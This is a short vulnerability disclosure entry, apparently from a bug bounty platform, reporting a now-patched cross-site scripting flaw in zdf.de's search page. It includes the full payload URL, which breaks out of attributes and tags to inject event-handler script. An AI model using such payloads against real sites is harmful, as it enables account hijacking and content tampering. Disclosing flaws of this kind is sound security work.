zdf.de XSS vulnerability

Vulnerable URL: https://www.zdf.de/suche?attrs==AD=episode==a%27aa%22onfocus=prompt/OPENBUGBOUNTY/%20autofocus=x%20bad=--%3E%3C/title%3E%3C/script%3E%3Cimg%20src=x%20onerror=prompt/OPENBUGBOUNTY/%3E Details: Description| Value ---|--- Patched:| Yes, at 11.07.2017 Latest check for patch:| 11.07.20...